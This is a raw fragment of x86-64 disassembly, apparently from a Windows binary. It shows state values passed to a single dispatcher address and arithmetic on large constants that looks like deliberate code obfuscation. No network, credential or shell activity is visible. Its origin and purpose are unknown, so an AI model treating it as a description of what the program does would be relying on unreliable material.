movabs rbx, 0xbae2e0d4bb874368
mov rcx, rbx
movabs rdx, 0xbe9b252d9b662bd8
sub rcx, rdx
sub rcx, rbx
movabs rbx, 0x456b0e7e70862352
add rcx, rbx
movabs rdi, 0x1fffffff8
sub rcx, rdi
mov edi, 0xea16e1fe
sub rcx, rbx
movabs rbx, 0xee1ef33a5fd3dccb
sub rcx, rbx
add rcx, rdx
add rcx, rbx
movabs rdx, 0x149995a4e67132c4
add rax, rdx
movabs rbx, 0x8cb25dfce4ee7525
sub rax, rbx
sub rax, rdx
sub rax, rcx
add rax, rbx
shr rax, 1
mov dword [rsp + 0x158], eax
mov eax, dword [rsp + 0x100]
mov dword [rsp + 0xe4], ebp
add eax, ebp
add rax, r13
mov qword [rsp + 0x1b0], rax
mov eax, 0x12f8c3e1
mov dword [rsp + 0xd8], 0
jmp 0x14001b68a
mov eax, 0xfd03a6e
mov ecx, dword [rsp + 0x104]
mov dword [rsp + 0xe8], ecx
jmp 0x14001b68a
mov rcx, qword [rsp + 0x58]
call fcn.14001519e
mov rcx, qword [rsp + 0x68]
call fcn.14001519e
mov eax, 0x78405921
mov dword [rsp + 0x8c], 0
jmp 0x14001b68a
mov rcx, qword [rsp + 0x58]
call fcn.14001519e
mov rcx, qword [rsp + 0x68]
call fcn.14001519e
mov eax, 0xa0eb3d9d
mov dword [rsp + 0x9c], 0
jmp 0x14001b68a
mov eax, dword [rsp + 0xbc]
inc eax
mov dword [rsp + 0xf4], eax
mov eax, 0xaf403519
jmp 0x14001b68a
mov eax, dword [rsp + 0x104]
add eax, 2
mov dword [rsp + 0x15c], eax
mov eax, dword [rsp + 0xc4]
mov rcx, qword [rsp + 0x1b0]
movzx eax, word [rcx + rax*2]
mov word [rsp + 0x66], ax
movzx eax, word [rsp + 0x66]
cmp eax, 0x1000
mov eax, 0x8463b82e
mov ecx, 0xb5cc591e
cmovb eax, ecx
jmp 0x14001b68a
cmp dword [rsp + 0xf8], 7
mov eax, 0x25652335
mov ecx, 0xb20d7e82
cmove eax, ecx
jmp 0x14001b68a
mov eax, 0x25652335
jmp 0x14001b68a
mov eax, dword [rsp + 0xb0]
and al, 1
add rsp, 0x1b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret